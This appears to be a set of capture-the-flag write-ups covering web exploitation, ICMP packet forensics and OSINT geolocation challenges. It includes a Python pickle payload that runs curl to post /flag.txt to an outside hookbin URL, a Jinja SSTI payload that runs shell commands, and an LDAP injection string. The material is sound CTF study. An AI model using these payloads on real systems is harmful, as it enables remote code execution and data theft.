Write-ups

Chain Race

Web [475 pts]

Description: All files are included. Source code is the key.

When we first visit the website, we see that there is an input for URLs and that this renders the HTML content below:

After trying several PHP attack methods to try to get a foothold, using localhost:8080 provided the source code for index.php via SSRF.

It seems like we have to craft our input to be localhost:8080/index.php?user=??&secret=??

Bypassing the first if statement, we just need user to be anything other than ‘admin’

Bypassing the second, we need to use secret[]=1 because it will evaluate to null which breaks the condition

Now $login_1 and $login_2 are both 1, we need to bypass @unlink() which deletes a filename, in our case it is generated using a hash combination of date(‘ms’) and $_COOKIE[‘PHPSESSID’]. The session is created and destroyed rather quickly and this can lead to a race condition if many requests are made in synchronized time.

We could solve this by sending requests in a synchronized time to cause the race condition. I tried out nccgroup’s enhancement of python requests called requests_racer.

https://github.com/nccgroup/requests-racer

Using a quick script, we are able to get a flag with ~100 synchronized requests:

flask_caching

Web [300 pts]

Description: cache all the things (this is python3)

This challenge provides us with source code:

We see that their server is using Redis for caching and flask_caching library. Looking at the form, we see that each input is treated as a key (title) and value (content). Looking into the cache functions, I found this source to be helpful for the challenge:

https://stackoverflow.com/questions/32094249/how-do-i-work-with-cached-values-created-by-flask-cache

It appears the default key when using cache functions in flask is “flask_cache_view/<path>” , so we can temporarily store malicious values in one of the keys that Redis is using. From the above link, it states that having a b'!' in front of a pickled object will lead to RedisCache unpickling. This can lead to RCE.

So we craft our pickle object with our exploit and append a b'!' in front of it. The description says it is in Python3 so we make sure to serialize our object in Python3.

import pickle
import os

exp = open("exploit", "wb")

exp.write(b'!')

class RCE(dict):
    def __reduce__(self):
        cmd = ("curl -X POST -H 'Content-Type: application/json' -d '@/flag.txt' https://hookb.in/9XgpbdRPnDS600eMoRR6")
        return os.system, (cmd,)

exp.write(pickle.dumps(RCE()))

exp.close()

There are multiple ways to get the flag, I just curled the flag in POST data to my hookbin, our input will look like this:

After sending this and visiting /test24, we notice there is a delay, which means our object was deserialized. Looking at our hookbin, we see the flag came through:

Incredibly Covert Malware Procedures

Forensics [100 pts]

Description: We got hacked! Can you see what they took?

We are given a pcap file, when analyzing it, we see that it is full of ICMP information. Looking at the first packet, we see that it is the beginning of a PNG header:

The last packet also contains an IEND, which marks the end of a PNG file. So it looks like they are sending parts of a PNG for each packet. The only issue is that we have to parse and filter our data to capture the correct bytes.

Since the requests and replies are the same, using tshark to extract the unique data sections of the pcap, we can get a better picture for the png.

Our goal is to grab the correct position to get a valid picture, so using a valid png, we use this as a guide to get the correct bytes:

Grabbing the correct first line from the pcap data and iterating down to the end, we are able to form a png that gives us a flag:

Perhaps I could’ve parsed it better..but it is still readable.

Note Surfer

Web [250 pts]

Description: Check out our new sticky note website!

We are given two endpoints for this challenge. I found an unintended solution for this challenge so I will be discussing how happened..

http://one.jh2i.com:50020 – Where we create an account
http://one.jh2i.com:50039 – Where we can link our account from :50020 via OAuth and create notes / report to admin.

After creating an account on :50020 and linking it with :50039, we are able to create notes and report to admin.

First, the reporting feature is common for XSS and CSRF, so I wanted to see if I could steal some information from the admin. So using this payload:

We were able to send it to the admin and have them visit our site.

I originally wanted to read their HTML just to see what it looked like, but base64 decoding our response twice reveals the admin dashboard + the flag:

Template Shack

Web [150 pts]

Description: Check out the coolest web templates online!

When we first visit the site we are greeted with a normal dashboard and seems to use a template engine. So we know our exploit will involve templates.

One useful information is the JWT, when decoded, gives this:

So we know it is using HS256 and if we want to elevate our privileges, we need our username to be admin. HS256 can be brute forced if it has a weak secret, so trying that with JTR, we receive the signature secret:

Changing the JWT username to “admin” and verifying it with our secret will allow us to access the admin panel.

An interesting find when we visit a 404 page on the side navbar:

Since it is printing us /admin/charts.html, we can try to use this as an injection point for SSTI.

Using the payload {{config}}, we leak information about the application:

Using this payload, we are able to see the current files in the directory:

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Now we do see a flag.txt, so we simply change the ‘ls’ to cat the flag:

Lightweight Contact Book

Web [150 pts]

Description: Lookup the contact details of any of our employees!

When we visit the page, we see an employee look-up tool.

Given the name “Lightweight”, this hints that the web app is using LDAP (Lightweight directory access protocol)

Resource: https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol

Typing an asterisk (*) in the search bar gives us all the users.

So, our goal is to do an LDAP injection to leak information. We cannot sign in as admin without the password, but we do see a “forgot password” feature for the web app. Clicking on it gives this information:

The description field is a built-in LDAP field. More reading here: https://docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html

After messing around with the search bar and receiving errors, one payload gives us a pass:

administrator)(&(cn=administrator)(description=v*)

This payload will show the admin user and verifies that our payload matches what is stored in the description field.

Using a short python script, we can do a blind LDAP injection to retrieve the password:

Logging in with “administrator” and the extracted password “very_secure_hacktivity_pass”, we get the flag:

Official Business

Web [125pts]

Description: Are you here on official business? Prove it.

When we visit the page, we are greeted with a generic login page. When attempting to log in as admin, we get redirected to a 403 Forbidden error page.

Since we don’t receive much information from this and it is not a SQL injection vuln, we navigate to /robots.txt and find source code.

So we know our backend is Flask and there is a way that we have to log in. We notice that it is quite difficult to bruteforce the password to decrypt to the requested text. So we turn our attention to cookies.

When we enter the home page, the server calls load_cookie(), which gets “auth” and verifies it. We get our “auth” from do_login(), which only includes username, password, and a check if admin is true. So we mimic this in a short Python script:

Finally we create our “auth” cookie while intercepting a GET request to the home page and enter our value, receiving our flag:

Flag Jokes

Web [200pts]

Description: Want to hear a joke? Want the flag? How about both? Why don’t YOU tell me a joke!

We reach a login page and attempt to login as any user, it seems any user is accepted. So logging in as “lmao”, we receive this message:

The interesting piece of information we get is a cookie, most notably a JWT, that when decoded, gives this:

A few interesting information in the headers that are not commonly noted are:

jku (JWK Set URL) and kid (key id).

Resource: https://tools.ietf.org/html/rfc7515

Now we notice that jku is used in localhost, so if we browse to the challenge/static/jwk.json, we receive their signing algorithm:

If we have this, we can forge our own JWK on our own web server and create our own public/private key as well as modify the payload. So to do that, we start by creating our RSA key pair:

We notice in our given JWK that “e” and “n” are defined, so to extract “e” and “n” from our public key, we use a short python script:

Next we have to convert our “e” and “n” to base64 since that is the format we received from the challenge.

Using this information, we add this to our “e” and “n” in our forged JWK:

Adding all the pieces together, we use our private and public key for generating and verifying our JWT respectively. Then we modify our payload to the requested “admin” as well as use the JKU header to include our own web server URI with the forged payload:

Now replacing the cookie on the challenge with our new JWT token, we receive our flag:

Tree Man

OSINT[300Pts] Given Information: I’m so glad we’ve got you on the team; I don’t think we’d have manged to get that last one if it weren’t for you. We’ve been watching the account, and the target just posted another image. This guy really doesn’t learn. We don’t think he’s left Spain yet, but we really need this one pinpointed exactly. Can you work where he took this?

The map here should be accurate to 50 meters.

Hint

First thing is to Reverse Image search for any clues. Key search words are Spain Tree Man.

Copyright: (c) Blitzy | Dreamstime.com

Found an exact copy of the “Tree Man.” Note the tags are: Park Portaventura and Entrance. So we now have an exact location.

https://www.portaventuraworld.com/en/parks

We can now see where the entrance is from this map given by the Port Aventura website.

Matching it to Google Maps, then using the link to locate the exact location to the challenge.

Correct Flag

Dead Man

OSINT[350Pts] Given Information: Aargh! They gave us the slip again. We got another image from their Twitter, but it doesn’t look like they’re in the same country anymore. Are you able to track them down again for us and tell us the town they’re in? You’re our best man at this point, so we’re expecting great things.

Our map here should be accurate to 500 meters.

Right way the language was a dead give away at Thai or some Southeast Asian Language.

Educated Guess it was Thai
Christian Cemetery

Christianity is not very big in Southeast Asia. Searching for a Christianity Cemeteries yielded:

One of the more interesting results were the Kanchanaburi War Cemetery

Kanchanaburi War Cemetery, Thailand

The three noticeable features are the same cross, cemetery pattern, and with similar buildings in the background.

Submitted Flag Location(Correct)